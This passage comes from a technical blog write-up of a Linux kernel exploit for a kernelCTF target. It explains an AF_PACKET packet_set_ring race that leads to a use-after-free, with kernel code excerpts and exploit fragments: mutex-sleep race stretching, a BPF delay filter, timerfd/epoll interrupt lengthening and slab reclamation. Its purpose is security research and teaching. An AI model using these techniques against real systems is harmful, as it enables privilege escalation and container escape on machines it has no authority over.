    spin_unlock(&amp;po-&gt;bind_lock);

    synchronize_net();

    mutex_lock(&amp;po-&gt;pg_vec_lock);
    // ... swap ring buffers, free old ring ...
    mutex_unlock(&amp;po-&gt;pg_vec_lock);

    spin_lock(&amp;po-&gt;bind_lock);
    if (was_running) {
        WRITE_ONCE(po-&gt;num, num);   // Only restored if was_running!
        register_prot_hook(sk);
    }
    spin_unlock(&amp;po-&gt;bind_lock);
}</code></pre></div><p>The critical issue is the if (was_running) conditional around WRITE_ONCE(po-&gt;num, 0). The po-&gt;num field determines the protocol number the socket is registered for. When it&#8217;s non-zero, the NETDEV_UP handler in packet_notifier() will re-register the protocol hook:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;9d3b9bb0-e444-43ed-a899-a7b1c38963c9&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">case NETDEV_UP:
    if (dev-&gt;ifindex == po-&gt;ifindex) {
        spin_lock(&amp;po-&gt;bind_lock);
        if (po-&gt;num)                    // &lt;-- checks po-&gt;num
            register_prot_hook(sk);     // re-hooks the socket!
        spin_unlock(&amp;po-&gt;bind_lock);
    }
    break;</code></pre></div><p><strong>The bug</strong>: If the packet socket is <em>not</em> currently running when packet_set_ring() is called, po-&gt;num retains its original non-zero value. After spin_unlock(&amp;po-&gt;bind_lock), there is a window where packet_set_ring() has released the bind lock but has not yet finished reconfiguring the ring buffer. If a NETDEV_UP event arrives during this window, packet_notifier() sees po-&gt;num != 0 and calls register_prot_hook(), re-hooking the socket to the network interface. Now the socket can receive packets while packet_set_ring() is in the middle of freeing and replacing the ring buffer.</p><h3>The Race Window and UAF</h3><p>The exploit triggers the vulnerability through a two-race sequence:</p><p><strong>Race 1: packet_set_ring() vs packet_notifier()</strong></p><p>The attacker ensures the packet socket is bound to a network interface but <em>not</em> running (the interface is DOWN). Then:</p><ol><li><p>Call packet_set_ring() to free the existing RX ring buffer</p></li><li><p>After packet_set_ring() releases bind_lock but before it acquires pg_vec_lock, bring the interface UP</p></li><li><p>packet_notifier() sees po-&gt;num != 0, re-registers the protocol hook</p></li><li><p>The socket is now &#8220;running&#8221; and can receive packets, even though packet_set_ring() hasn&#8217;t finished</p></li></ol><p><strong>Race 2: packet_set_ring() vs tpacket_rcv()</strong></p><p>Now that the hook is registered, sending a packet to the interface triggers tpacket_rcv(). This function reads the ring buffer metadata (prb_bdqc) which still points to the old ring buffer. Meanwhile, packet_set_ring() proceeds to free that same ring buffer inside the pg_vec_lock critical section:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;024aaeb0-c1bd-4911-a52f-904014d64833&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">mutex_lock(&amp;po-&gt;pg_vec_lock);
    swap(rb-&gt;pg_vec, pg_vec);     // pg_vec now holds old ring buffer
    // ...
mutex_unlock(&amp;po-&gt;pg_vec_lock);
// ...
free_pg_vec(pg_vec, order, req-&gt;tp_block_nr);  // free the old ring!</code></pre></div><p>If tpacket_rcv() accesses the ring buffer after it has been freed, we have a <strong>use-after-free</strong>. The TPACKET_V3 prb_bdqc structure is particularly useful for exploitation because its pointers to the ring buffer (pkbdq, nxt_offset, pkblk_start, etc.) are <strong>not</strong> zeroed when the ring is freed. The freed pg_vec array has its individual buffer pointers set to NULL by free_pg_vec(), but the prb_bdqc still holds the stale addresses.</p><h2>The Key Insight: Sleeping Mutex Holders Stretch Race Windows</h2><p>The most important takeaway from this exploit &#8212; and a generalizable bug-finding heuristic for kernel security researchers &#8212; is this: <strong>if you can make a mutex holder sleep, you can stretch the time window between any lock release and subsequent lock acquisition to an arbitrary duration</strong>.</p><p>In packet_set_ring(), there&#8217;s a critical gap between releasing bind_lock and acquiring pg_vec_lock:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;ce6e38a4-fe6a-4f7a-a29c-9d36a9505a35&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">spin_unlock(&amp;po-&gt;bind_lock);    // Race 1 window opens
synchronize_net();
mutex_lock(&amp;po-&gt;pg_vec_lock);   // Race 1 window closes</code></pre></div><p>Normally, synchronize_net() completes quickly and mutex_lock() succeeds immediately, making this window very tight. But the pg_vec_lock mutex is also acquired by tpacket_snd():</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;61525ef9-7f41-4ab1-9313-142e21fc56c0&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">static int tpacket_snd(struct packet_sock *po, struct msghdr *msg)
{
    mutex_lock(&amp;po-&gt;pg_vec_lock);       // holds the mutex
    // ...
    timeo = wait_for_completion_interruptible_timeout(
        &amp;po-&gt;skb_completion, timeo);    // SLEEPS while holding it!
    // ...
    mutex_unlock(&amp;po-&gt;pg_vec_lock);
}</code></pre></div><p>The exploit pre-acquires pg_vec_lock by calling sendmsg() on the victim socket&#8217;s TX ring in a way that reaches wait_for_completion_interruptible_timeout(). This puts the thread to sleep for a configurable duration (set via SO_SNDTIMEO) while holding the mutex. Now packet_set_ring() blocks at mutex_lock(&amp;po-&gt;pg_vec_lock) for a <em>predictable, attacker-controlled</em> period &#8212; in this case, one full second.</p><p>This transforms a nanosecond-scale race window into a one-second window, making the first race essentially <strong>deterministic</strong>: there is ample time to bring the network interface UP and register the protocol hook.</p><p><strong>This pattern generalizes.</strong> When auditing kernel code for race conditions, look for:</p><ol><li><p>A sequence where lock A is released, work happens, then lock B is acquired</p></li><li><p>A separate code path that holds lock B and can sleep (mutexes allow sleeping; spinlocks do not)</p></li><li><p>A way to trigger that sleeping code path before the racing code path</p></li></ol><p>If all three conditions are met, the race window between releasing lock A and acquiring lock B becomes arbitrarily stretchable. Code that appeared &#8220;safe enough&#8221; because the window was tiny becomes trivially exploitable.</p><h2>The Exploit</h2><p>The exploit targets the kernelCTF mitigation-v4-6.6 environment &#8212; Google&#8217;s Container-Optimized OS (COS) with additional kernel security mitigations enabled, running Linux 6.6. It achieves full privilege escalation and container escape. It builds exploit primitives through four stages, each more powerful than the last, culminating in arbitrary kernel memory read/write and shellcode execution.</p><h3>Stage 0: Winning the Races</h3><h4>First Race: Deterministic via Mutex Barrier</h4><p>The &#8220;first race&#8221; isn&#8217;t really a traditional race where two threads sprint and one hopes to win by luck. The exploit <strong>eliminates the randomness entirely</strong> by converting it into a deterministic sequence using a mutex as a barrier.</p><p><strong>How tpacket_snd() holds pg_vec_lock while sleeping</strong></p><p>The exploit needs a way to hold the pg_vec_lock mutex for a controlled duration. It finds this in tpacket_snd(), the kernel&#8217;s TX path for packet sockets. Here&#8217;s the relevant code path:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;4239cb2b-b974-4d0e-b406-62c9c6074777&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">static int tpacket_snd(struct packet_sock *po, struct msghdr *msg)
{
    bool need_wait = !(msg-&gt;msg_flags &amp; MSG_DONTWAIT);  // [1] controllable

    mutex_lock(&amp;po-&gt;pg_vec_lock);                        // [2] grab the mutex

    // ... validate device is UP, etc ...

    do {
        ph = packet_current_frame(po, &amp;po-&gt;tx_ring, TP_STATUS_SEND_REQUEST);
        if (unlikely(ph == NULL)) {
            if (need_wait &amp;&amp; skb) {                      // [3] need skb != NULL
                timeo = sock_sndtimeo(&amp;po-&gt;sk, ...);    // from SO_SNDTIMEO
                timeo = wait_for_completion_interruptible_timeout(
                    &amp;po-&gt;skb_completion, timeo);         // [4] SLEEP here!
                if (timeo &lt;= 0) {
                    err = !timeo ? -ETIMEDOUT : -ERESTARTSYS;
                    goto out_put;
                }
            }
            continue;
        }

        skb = NULL;
        tp_len = tpacket_parse_header(po, ph, ...);     // [5] read from TX ring
        if (tp_len &lt; 0) goto tpacket_error;

        skb = sock_alloc_send_skb(&amp;po-&gt;sk, ...);        // [6] after this, skb != NULL

        tp_len = tpacket_fill_skb(po, skb, ...);        // [7] can force tp_len &lt; 0
        if (unlikely(tp_len &lt; 0)) {
tpacket_error:
            if (packet_sock_flag(po, PACKET_SOCK_TP_LOSS)) {  // [8]
                __packet_set_status(po, ph, TP_STATUS_AVAILABLE);
                packet_increment_head(&amp;po-&gt;tx_ring);
                kfree_skb(skb);
                continue;                                // [9] loop again!
            }
        }
        // ...
    } while (...);

out:
    mutex_unlock(&amp;po-&gt;pg_vec_lock);                      // [10] finally release
}</code></pre></div><p>The exploit navigates this code path as follows:</p><ol><li><p>Call sendmsg() <strong>without</strong> MSG_DONTWAIT, so need_wait = true.</p></li><li><p>The mutex is acquired at [2].</p></li><li><p>First loop iteration: a TX frame is found (the exploit pre-wrote TP_STATUS_SEND_REQUEST via mmap()). At [5], tpacket_parse_header() reads tp_len from the mmapped ring &#8212; the exploit set tp_len = 1, which is too small, causing tpacket_fill_skb() at [7] to return a negative error. But first, sock_alloc_send_skb() at [6] sets skb != NULL.</p></li><li><p>The PACKET_SOCK_TP_LOSS flag is set (via setsockopt(PACKET_LOSS)), so we hit [8] &#8594; [9] and continue back to the top of the loop.</p></li><li><p>Second loop iteration: no more frames with TP_STATUS_SEND_REQUEST, so ph == NULL. Now need_wait == true and skb != NULL (from the first iteration&#8217;s allocation), so we enter [3] &#8594; [4]: wait_for_completion_interruptible_timeout(). <strong>The thread sleeps for SO_SNDTIMEO duration (1 second) while holding pg_vec_lock.</strong></p></li></ol><p>There&#8217;s a subtlety: sock_alloc_send_skb() checks sk-&gt;sk_err and returns NULL if it&#8217;s set. When the interface goes DOWN, packet_notifier() sets sk-&gt;sk_err = ENETDOWN. Since the exploit needs the interface to be DOWN later for the bug trigger, it must ensure the interface is still UP when tpacket_snd() runs. The ordering matters.</p><p><strong>The deterministic sequence</strong></p><p><strong>Setup: the dummy interface and victim socket.</strong> The exploit runs inside a user namespace (for CAP_NET_RAW) and a network namespace (for a controlled network environment). It creates a dummy network interface named &#8220;pwn_dummy&#8221; via netlink (RTM_NEWLINK with IFLA_INFO_KIND = &#8220;dummy&#8221;), sets its MTU to IPV6_MIN_MTU - 1 (1279 bytes), and brings it UP via ioctl(SIOCSIFFLAGS, IFF_UP | IFF_RUNNING). A dummy interface is ideal because it&#8217;s a pure software device &#8212; packets sent to it are immediately looped back to the protocol handler, so the exploit doesn&#8217;t need any real hardware or network traffic.</p><p>The exploit then creates the <strong>victim packet socket</strong> &#8212; an AF_PACKET/SOCK_RAW socket bound to this dummy interface with sll_protocol = htons(ETH_P_ALL) (receive all protocol types). The socket is configured with TPACKET_V3 ring buffers (both TX and RX), PACKET_LOSS enabled, SO_SNDTIMEO set to 1 second, PACKET_RESERVE set to 38, and a 700-instruction BPF filter attached. The RX ring is the one that will be freed during the race; the TX ring provides the frame needed for the tpacket_snd() sleep trick. At this point, the victim socket is UP and actively receiving packets &#8212; the starting state needed for the exploit.</p><p><strong>Worker threads.</strong> The exploit creates three worker threads:</p><ul><li><p><strong>pg_vec_lock_thread</strong> (CPU 0, nice = 19 &#8212; lowest priority): Holds the mutex</p></li><li><p><strong>pg_vec_buffer_thread</strong> (CPU 0, normal priority): Runs packet_set_ring() to free the ring buffer</p></li><li><p><strong>tpacket_rcv_thread</strong> (CPU 1): Sends the packet that triggers the UAF</p></li></ul><p>The pg_vec_buffer_thread has higher priority than pg_vec_lock_thread on the same CPU. This is critical for the second race&#8217;s timing. Both threads are pinned to CPU 0, so only one can run at a time. When tpacket_snd() in pg_vec_lock_thread calls mutex_unlock(&amp;po-&gt;pg_vec_lock), the CFS (Completely Fair Scheduler) &#8212; Linux&#8217;s default process scheduler, which allocates CPU time proportionally based on priority &#8212; sees that the woken pg_vec_buffer_thread (nice=0) has higher priority than the running pg_vec_lock_thread (nice=19, the lowest possible priority) and <strong>immediately preempts</strong> it. This means packet_set_ring() resumes without delay &#8212; it frees the old ring buffer pages, and the same thread immediately reclaims them with alloc_pages(). This matters because over on CPU 1, tpacket_rcv() is frozen by the timer interrupt, and that freeze has a finite duration. The entire free-and-reclaim sequence on CPU 0 must complete before the interrupt returns on CPU 1. If pg_vec_lock_thread continued running after the mutex release (burning CPU 0 time on irrelevant cleanup), the reclamation might not finish in time &#8212; causing a NULL dereference crash instead of a controlled UAF.</p><p>The orchestration proceeds step by step:</p><p><strong>Step 1: Lock the mutex.</strong> Main thread sends work to pg_vec_lock_thread, which calls sendmsg() &#8594; enters tpacket_snd() &#8594; acquires po-&gt;pg_vec_lock &#8594; reaches wait_for_completion_interruptible_timeout() &#8594; sleeps. Main thread polls /proc/[tid]/stat until the thread state is S (sleeping), then records pg_vec_lock_acquire_time via clock_gettime(CLOCK_MONOTONIC).</p><p><strong>Step 2: Bring the interface DOWN.</strong> Main thread calls ioctl(SIOCSIFFLAGS) to set the interface DOWN. This triggers packet_notifier() with NETDEV_DOWN, which unhooks the victim socket (sets PACKET_SOCK_RUNNING = false). The socket is no longer running, but po-&gt;num is still non-zero.</p><p><strong>Step 3: Trigger packet_set_ring().</strong> Main thread sends work to pg_vec_buffer_thread, which calls setsockopt(PACKET_RX_RING, {tp_block_nr=0}). This enters the free path of packet_set_ring():</p><ul><li><p>spin_lock(&amp;po-&gt;bind_lock)</p></li><li><p>was_running = false (interface is DOWN)</p></li><li><p>num = po-&gt;num (non-zero &#8212; <strong>this is the bug</strong>)</p></li><li><p>if (was_running) is false &#8594; <strong>po-&gt;num is NOT zeroed</strong></p></li><li><p>spin_unlock(&amp;po-&gt;bind_lock) &#8212; the race window opens</p></li><li><p>synchronize_net() &#8212; brief wait</p></li><li><p>mutex_lock(&amp;po-&gt;pg_vec_lock) &#8212; <strong>BLOCKS</strong> because pg_vec_lock_thread holds it</p></li></ul><p>Main thread polls /proc/[tid]/stat until pg_vec_buffer_thread is sleeping. <strong>This confirms that packet_set_ring() has passed the vulnerable bind_lock section and is now blocked on the mutex.</strong></p><p><strong>Step 4: Bring the interface UP.</strong> Main thread calls ioctl(SIOCSIFFLAGS) to set the interface UP. This triggers packet_notifier() with NETDEV_UP:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;1f8e52f6-afc6-4b4c-9a2a-14c563c23bd9&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">case NETDEV_UP:
    spin_lock(&amp;po-&gt;bind_lock);
    if (po-&gt;num)                  // non-zero &#8212; the bug!
        register_prot_hook(sk);   // re-hooks the socket!
    spin_unlock(&amp;po-&gt;bind_lock);</code></pre></div><p><strong>The first race is won.</strong> The victim socket is now hooked to the interface again &#8212; it will receive packets via tpacket_rcv() &#8212; but packet_set_ring() is frozen at the mutex, waiting to free the old ring buffer. There was no race to win; the exploit verified each state transition before proceeding to the next.</p><h4>Second Race: Probabilistic but Enhanced with Three Timing Mechanisms</h4><p>After winning the first race, the exploit has achieved this state:</p><ul><li><p>The victim socket is <strong>hooked to the network interface</strong> (receiving packets via tpacket_rcv())</p></li><li><p>packet_set_ring() is <strong>frozen</strong>, blocked on po-&gt;pg_vec_lock held by the sleeping pg_vec_lock_thread</p></li><li><p>The pg_vec_lock_thread will wake up after exactly 1 second (the SO_SNDTIMEO timeout)</p></li></ul><p>When the timeout expires and pg_vec_lock_thread releases the mutex, packet_set_ring() resumes. Inside the pg_vec_lock critical section, it does two things: (1) swaps rb-&gt;pg_vec to NULL, and (2) <strong>changes the protocol hook function from tpacket_rcv to packet_rcv</strong>. After releasing the mutex, it calls free_pg_vec() to free the old ring buffer pages.</p><p>This hook change is what makes the second race necessary. Once packet_set_ring() switches the hook to packet_rcv, any <em>new</em> packet arriving at the socket will be dispatched to packet_rcv() instead of tpacket_rcv() &#8212; and packet_rcv() doesn&#8217;t use the ring buffer at all, so there&#8217;s no UAF. The exploit cannot simply wait until the ring buffer is freed and then send a packet; by that point, the hook has already been changed.</p><p>The only way to get tpacket_rcv() to access freed memory is to have it <strong>already dispatched</strong> before the hook is changed. The network stack resolves the hook function pointer at packet dispatch time. If a packet is sent to the interface and tpacket_rcv() is called <em>before</em> packet_set_ring() swaps the hook, then tpacket_rcv() will continue executing its code path &#8212; including accessing the ring buffer &#8212; regardless of what packet_set_ring() does afterward. The function is already on the call stack; the hook pointer swap only affects future packets.</p><p>So the second race is about getting tpacket_rcv() to be <strong>dispatched</strong> <em>before</em> packet_set_ring() changes the hook, and then having tpacket_rcv() dereference the ring buffer pages <em>after</em> packet_set_ring() has freed them. The exploit uses three independent timing mechanisms stacked together to hit this window.</p><p><strong>Mechanism 1: Calculated Sleep</strong></p><p>The exploit knows exactly when the mutex will be released:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;459a9715-9cec-45e1-8b29-b70f557e6efc&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">pg_vec_lock_release_time = pg_vec_lock_acquire_time + sndtimeo  // +1 second</code></pre></div><p>The tpacket_rcv_thread receives this timestamp and sleeps until just <strong>before</strong> the release:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;0074264e-c346-46ba-a45c-e2d8cdac0110&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">// In tpacket_rcv_thread_fn:
struct timespec sleep_duration = timespec_sub(
    remaining_time_before_pg_vec_lock_release,
    work-&gt;decrease_tpacket_rcv_thread_sleep_time  // 5000 ns = 5&#956;s
);
syscall(SYS_nanosleep, &amp;sleep_duration, NULL);
syscall(SYS_sendmsg, trigger_sendmsg_packet_socket, work-&gt;msg, 0);</code></pre></div><p>The thread wakes up ~5 microseconds before the mutex releases and immediately sends the packet via packet_sendmsg_spkt() &#8212; chosen because it has the shortest code path from sendmsg() to dev_queue_xmit() to the protocol hook. The packet traverses the network stack and arrives at tpacket_rcv() on the victim socket.</p><p><strong>Mechanism 2: BPF Filter Delay</strong></p><p>A 700-instruction classic BPF filter is attached to the victim socket:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;b2003109-95a6-4a22-851f-82a2905b593e&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">struct sock_filter filter[700];
for (int i = 0; i &lt; 699; i++) {
    filter[i].code = BPF_LD | BPF_IMM;
    filter[i].k = 0xcafebabe;          // load immediate &#8212; cheap but not free
}
filter[699].code = BPF_RET | BPF_K;
filter[699].k = sizeof(size_t);        // return truncated length = 8 bytes</code></pre></div><p>When the packet arrives and tpacket_rcv() is invoked, it calls run_filter() early in its execution &#8212; <strong>before</strong> it ever touches pkc-&gt;pkbdq or any ring buffer pointer. The filter executes all 700 instructions, burning CPU time. During this window, CPU 0 is free to run packet_set_ring(), free the ring buffer, and reclaim it. The final BPF_RET instruction also serves a second purpose: it truncates the packet&#8217;s &#8220;snapshot length&#8221; to exactly 8 bytes (or sizeof(void *)) &#8212; the precise number of bytes the exploit wants to overwrite in the overflow target.</p><p><strong>Mechanism 3: Timer Interrupt Lengthening (Jann Horn&#8217;s Technique)</strong></p><p>The BPF filter alone buys only microseconds. The exploit needs to <strong>pause tpacket_rcv() on CPU 1 for much longer</strong> &#8212; long enough for packet_set_ring() on CPU 0 to not only free the ring buffer but also for the reclamation allocation to complete. This is where the timer interrupt technique comes in.</p><p><strong>Background: timerfd, epoll, and wait queues.</strong> The Linux timerfd_create() syscall creates a file descriptor that delivers timer expiration notifications. Internally, the kernel allocates a timerfd_ctx structure containing an hrtimer (high-resolution timer) and a wait_queue_head (wqh). When the timer fires, the kernel&#8217;s hrtimer interrupt handler calls timerfd_tmrproc(), which wakes up all waiters on wqh.</p><p>The epoll subsystem is how waiters get added to wqh. When you call epoll_ctl(EPOLL_CTL_ADD) to monitor a timerfd, the kernel calls ep_ptable_queue_proc(), which allocates a wait_queue_entry and adds it to the timerfd&#8217;s wqh via add_wait_queue(). Each epoll_ctl() call on a different file descriptor pointing to the same timerfd adds <strong>one more entry</strong> to this wait queue. So the key insight is: <strong>a single timerfd can accumulate an arbitrarily large wait queue by monitoring many dup()&#8217;d copies of it through epoll.</strong></p><p>When the timer fires, the interrupt handler must walk the entire wait queue under spin_lock_irqsave &#8212; meaning interrupts are disabled and the CPU cannot be preempted until every entry is processed. This turns the wait queue length into a <strong>controllable CPU stall duration</strong>.</p><p><strong>The file descriptor table constraint.</strong> In the kernelCTF environment, each process is limited to 4,096 file descriptors (RLIMIT_NOFILE). The exploit first raises rlim_cur to rlim_max (4,096) via setrlimit(). Even so, 4,096 wait queue entries isn&#8217;t enough to stall the CPU for the required duration. The exploit works around this by creating 180 threads, each with its own <strong>private file descriptor table</strong>:</p><p><em>Setup phase</em> &#8212; During initialization, the exploit creates 180 timerfd_waitlist_thread threads. Each thread:</p><ol><li><p>Is pinned to <strong>CPU 1</strong> (same CPU as tpacket_rcv_thread)</p></li><li><p>Calls unshare(CLONE_FILES) to get its own private file descriptor table &#8212; this is the key trick that multiplies the FD limit, since each thread now has its own independent table of 4,096 slots</p></li><li><p>Closes stdin, stdout, and stderr to free up three more slots</p></li><li><p>Creates an epollfd (uses one slot)</p></li><li><p>Calls dup(timerfd) in a loop until the FD table is full &#8212; the original timerfd (created by the main thread before unshare) is still accessible, and each dup() creates a new file descriptor pointing to the same underlying timerfd_ctx</p></li><li><p>Calls epoll_ctl(EPOLL_CTL_ADD) for each duplicated FD, adding a wait queue entry to the timerfd&#8217;s wqh for every one</p></li></ol><p>Each epoll_ctl() call adds a wait_queue_entry to the timerfd&#8217;s internal wait queue via ep_ptable_queue_proc() &#8594; add_wait_queue(). With 180 threads &#215; ~4,000 FDs each, the timerfd&#8217;s wait queue accumulates roughly <strong>720,000 entries</strong>.</p><p><em>Firing phase</em> &#8212; The exploit arms the timer from CPU 1 (important &#8212; timerfd_settime() binds the hrtimer to the calling CPU):</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;e4a701e7-acf7-4212-a0f3-77298e6180bb&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">struct itimerspec settime_value = {};
settime_value.it_value = timespec_add(pg_vec_lock_release_time,
                                       timer_interrupt_amplitude);  // +150&#956;s
timerfd_settime(timerfd, TFD_TIMER_ABSTIME, &amp;settime_value, NULL);</code></pre></div><p>When the timer fires on CPU 1, the kernel interrupt handler executes:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;f3c4920a-0d77-4247-abc1-4f4a18e72ec3&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">timerfd_tmrproc()
  &#8594; timerfd_triggered()
    &#8594; spin_lock_irqsave(&amp;ctx-&gt;wqh.lock, flags)   // interrupts disabled!
    &#8594; wake_up_locked_poll()
      &#8594; __wake_up_common()                         // walks the waitqueue
        &#8594; list_for_each_entry_safe_from(...)       // 720,000 entries!
          &#8594; ep_poll_callback()                     // called for each entry
    &#8594; spin_unlock_irqrestore(...)</code></pre></div><p>The __wake_up_common() function iterates through all 720,000 wait queue entries, calling ep_poll_callback() for each one. This entire loop runs inside spin_lock_irqsave &#8212; meaning <strong>interrupts are disabled and preemption is impossible</strong>. If tpacket_rcv() was executing on CPU 1 when the interrupt fired, it is <strong>completely frozen</strong> until the interrupt handler finishes walking the entire list. This takes hundreds of microseconds to milliseconds &#8212; more than enough time for packet_set_ring() on CPU 0 to free the ring buffer and for pg_vec_buffer_thread to reclaim it with a new ring buffer.</p><p>The exploit retries this entire sequence if the race is lost (detected by checking whether the overflow actually corrupted the target object). In practice, the combination of precise sleep timing, BPF filter delay, and the massive timer interrupt provides a high success rate.</p><h3>Stage 1: Page Overflow Primitive (via xattr corruption)</h3><p>After winning both races, the exploit needs to turn the UAF into something useful. This stage has three parts: reclaiming the freed ring buffer to prevent a kernel panic, arranging the heap so the reclaimed buffer is adjacent to a victim object, and engineering a precise overflow that corrupts exactly the right field.</p><h4>Part 1: Reclaiming the freed pgv array</h4><p>The key challenge is that free_pg_vec() zeroes out all buffer pointers in the pgv array after freeing it:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;6ec2e036-cb47-4b11-9fb4-2ac8bef15d1f&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">static void free_pg_vec(struct pgv *pg_vec, unsigned int order, unsigned int len)
{
    for (i = 0; i &lt; len; i++) {
        if (pg_vec[i].buffer) {
            free_pages((unsigned long)pg_vec[i].buffer, order);
            pg_vec[i].buffer = NULL;  // zeroed!
        }
    }
    kfree(pg_vec);
}</code></pre></div><p>If tpacket_rcv() reads a zeroed buffer pointer, it dereferences NULL and the kernel panics. The exploit must <strong>reclaim</strong> the freed pgv array &#8212; replace it in memory with a new pgv array containing valid buffer pointers &#8212; before tpacket_rcv() gets past the BPF filter, the timer interrupt and accesses it.</p><p>This is handled by pg_vec_buffer_thread, which runs on CPU 0 alongside packet_set_ring(). Immediately after packet_set_ring() frees the victim&#8217;s ring buffer, the same thread allocates a new TX ring buffer on a different packet socket:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;2a70493e-9a0e-4568-a08f-d29d642dc334&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">// In pg_vec_buffer_thread_fn:
// Step 1: Free victim RX ring
setsockopt(victim_fd, SOL_PACKET, PACKET_RX_RING, &amp;free_req, sizeof(free_req));
// Step 2: Immediately reclaim with a new TX ring
alloc_pages(reclaim_socket, MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_KMALLOC_16, PAGES_ORDER2_SIZE);</code></pre></div><p>The alloc_pages() function used throughout the exploit is a helper that allocates kernel pages by creating a TX ring buffer on a packet socket. It calls setsockopt(PACKET_TX_RING) with the specified block count and block size, which triggers packet_set_ring() &#8594; alloc_pg_vec() in the kernel &#8212; allocating both a pgv array and the requested number of page blocks. The corresponding free_pages() helper calls setsockopt(PACKET_TX_RING) with all-zero parameters, triggering the free path. This gives the exploit precise control over kernel page allocations and frees through a simple userspace API: each packet socket can hold one TX ring, and creating or destroying that ring allocates or frees pages of the exact size the exploit needs.</p><p>The reclamation ring has the <strong>same number of blocks</strong> as the victim (2 blocks &#8212; MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_KMALLOC_16 = 2) so the pgv array is the same size: kcalloc(2, sizeof(struct pgv)) = kcalloc(2, 8) = 16 bytes. The size match is essential because of the two heap mitigations.</p><p>CONFIG_RANDOM_KMALLOC_CACHES selects the slab cache by hashing the <strong>call site</strong> address &#8212; both pgv arrays are allocated by the same kcalloc() inside alloc_pg_vec(), so they hash to the same random cache. But this only works if they&#8217;re also in the <strong>same size class</strong>: if the reclamation used 4 blocks (32 bytes &#8594; kmalloc-32) instead of 2 blocks (16 bytes &#8594; kmalloc-16), it would go to a different slab cache entirely. CONFIG_SLAB_VIRTUAL enforces that each slab cache gets a dedicated virtual address range &#8212; a freed kmalloc-16 slot can only be reused by another kmalloc-16 allocation. Same call site + same size = guaranteed same slab cache = the new pgv array lands on the exact memory the old one occupied.</p><p>The following diagram shows the pgv array through its three states &#8212; before free, after free (zeroed, dangerous), and after reclamation (new blocks, smaller size). The stale pkc-&gt;pkbdq pointer references the same memory address throughout:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CIRL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CIRL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png 424w, https://substackcdn.com/image/fetch/$s_!CIRL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png 848w, https://substackcdn.com/image/fetch/$s_!CIRL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png 1272w, https://substackcdn.com/image/fetch/$s_!CIRL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CIRL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png" width="1456" height="931" 